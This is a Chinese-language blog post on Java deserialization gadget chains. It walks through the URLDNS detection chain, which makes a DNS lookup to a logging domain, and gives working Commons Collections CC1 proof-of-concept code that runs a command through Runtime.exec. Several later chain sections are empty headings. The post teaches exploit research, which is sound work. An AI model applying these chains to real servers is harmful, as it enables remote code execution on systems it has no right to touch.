loading...
java反序列化链总结
Published in:2025-10-15 | category: Java 反序列化

0x00 前言

java序列化就是将java对象转化为字节流

而反序列化是字节流转化为原来的java对象,这里会有一个关键点,就是在反序列化时重写readObject(),java会自动调用readObject方法,如果里面有恶意代码就会执行

条件

1、恶意类和所有调用链都要实现Serializable接口

2、变量可控

3、链式调用

0x01介绍

URLDNS

这条链触发点是HashMap类的readObject()方法,在里面调用了类的hashCode函数,而url类的hashCode函数会进行一次dns的查询,解析主机名,向域名发起请求,实现反序列化链的漏洞探测

CC1

CC2

CC3

CC4

CC5

CC6

CC6链是Apache Commons Collections反序列化漏洞的高版本利用链。它通过TiedMapEntry连接HashSet的readObject方法与LazyMap的get方法,在JDK 8u71+环境中绕过AnnotationInvocationHandler限制,实现命令执行

CC7

0x02调用实现&代码调试

1、URLDns链(一般用于探测漏洞是否存在)

测试的jdk版本为jdk1.8.u411

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package urldns;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class UrlDns implements Serializable {
public static void main(String[] args) throws Exception {
URL url = new URL("http://9a98a2e156.ddns.1433.eu.org.");
Field hashcode = URL.class.getDeclaredField("hashCode");
hashcode.setAccessible(true);
// hashcode != -1
hashcode.setInt(url,10);
HashMap<URL, Object> map = new HashMap<>();
map.put(url,null);
hashcode.setInt(url,-1);
// util.BaseSerialization.serializeObject("urldns/ser.bin",map);
util.BaseSerialization.deserializeObject("urldns/ser.bin");
}
// HashMap.readObject() -> HaspMap.putVal() -> HashMap.hash() -> URL.hashCode() 逆推过程
}

发现hashCode的真正处理器是handler,是URLStreamHandler类的hashCode

这里getHostAddress就会触发解析域名的操作,会做一个dns查询

所以关键点还是要走到handler.hashCode函数,这里只要hashCode不等于-1就会返回,但是问题是,hashCode在初始化的时候就是-1,会直接走下面的,直接进入dns查询,无法判断到底能否触发漏洞,所以要将hashCode设置一个不为-1的值

1
2
3
Field hashcode = URL.class.getDeclaredField("hashCode");
hashcode.setAccessible(true);
hashcode.setInt(url,10);

但是可以发现在反序列化时,URL类的readObject函数是没有调用hashCode函数的,所以要找到其他readObject函数才能间接调用hashCode函数

这里就利用到了hashMap的readObject,可以看到里面有个putVal函数里面调用了hash(key),跟进去查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);

// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

可以看到调用key.hashCode函数,这里的key是一个对象,如果变成url,就会调用url.hashCode方法

然后从上面代码可以看到这里的key是来自反序列化的对象的,那么就是要让这个key设置成url类,并且可以看到只要满足mappings > 0就会进入循环,现在设置了一个K为url的映射,所以是大于0的,最终会走到putVal函数

1
for (int i = 0; i < mappings; i++) {

所以需要用一个函数去映射处新的map,这里循环的时候就会遍历这个map,获取到key为url类

1
2
HashMap<URL, Object> map = new HashMap<>();
map.put(url,null);

但这时hashCode已经被我们修改成10,会直接返回hashCode,所以我们这里要将其改成-1,从而检查这条链是否真的被触发,最后将对象序列化

1
2
hashcode.setInt(url,-1);
util.BaseSerialization.deserializeObject("urldns/ser.bin");

至此,一条完整无害的漏洞探测链就完成了

2、CC1(common-collections<=3.2.1 & < jdk8u71)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.junit.Test;
import sun.reflect.annotation.AnnotationType;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
// 推导过程
@Test
// 从 invokerTransformer 执行 Runtime.getRuntime().exec()
public void InvokeExec() {
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"open -a calculator"}
);
invokerTransformer.transform(Runtime.getRuntime());
}
@Test
// 从transformedMap 调用 invoketransformer
public void InvokeExec2() {
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"open -a calculator"}
);
HashMap<Object, Object> map = new HashMap<>();
map.put("a","b");
Map<Object,Object> decorated = TransformedMap.decorate(map, null, invokerTransformer);
decorated.put("cmd",Runtime.getRuntime());
}
@Test
// 通过反射方法调用AnnotationInvocationHandler构造函数,构建实例函数并顺利进入到setValue()
public void InvokeExec3() throws Exception {
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"open -a calculator"}
);
HashMap<Object, Object> map = new HashMap<>();
map.put("value",null);
Map<Object,Object> decorated = TransformedMap.decorate(map, null, invokerTransformer);
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());
constantTransformer.transform(null);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, decorated);
utils.BaseSerialization.serializeObject("./ser.bin",o);
utils.BaseSerialization.deserializeObject("./ser.bin");
}
@Test
public void test() {
// 用来绕过两个if判断
AnnotationType annotationtype = AnnotationType.getInstance(Target.class);
Map<String, Class<?>> types = annotationtype.memberTypes();
for (Map.Entry<String, Class<?>> entry: types.entrySet()){
System.out.println(entry);
}
}
@Test
/*
完整链条
反序列化 -> Hash
*/
public void test3() throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"})
});
HashMap<Object, Object> map = new HashMap<>();
map.put("value","value");
Map<Object,Object> decorated = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, decorated);
ByteObjectStream.serialise(o);
ByteObjectStream.deserialise("./ser.bin");
}
@Test
// 因为getRuntime不是一个序列化对象,通过反射方法调用invoke,间接执行getRuntime()
public void test4() throws Exception {
Class clazz = Runtime.class;
Method getRuntimeMethod = clazz.getMethod("getRuntime",null);
Object invoke = getRuntimeMethod.invoke(null);
Method execMethod = clazz.getMethod("exec", String.class);
execMethod.invoke(invoke,"open -a calculator");
}
}

3、CC2

4、CC3

5、CC4

6、CC5

7、CC6()

0x03总结

CC链集合

Prev:
WireGuard接入家庭主机记录
Next:
记一次POP链分析
catalog
catalog